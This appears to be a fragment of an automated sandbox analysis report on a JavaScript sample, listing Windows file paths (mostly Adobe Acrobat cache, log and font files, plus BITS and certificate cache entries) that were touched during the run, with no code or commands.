C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d07dfe09-15de-4a05-8224-73dfe959b9eb.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1440

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1440

Windows Analysis Report
2486775641261320080.js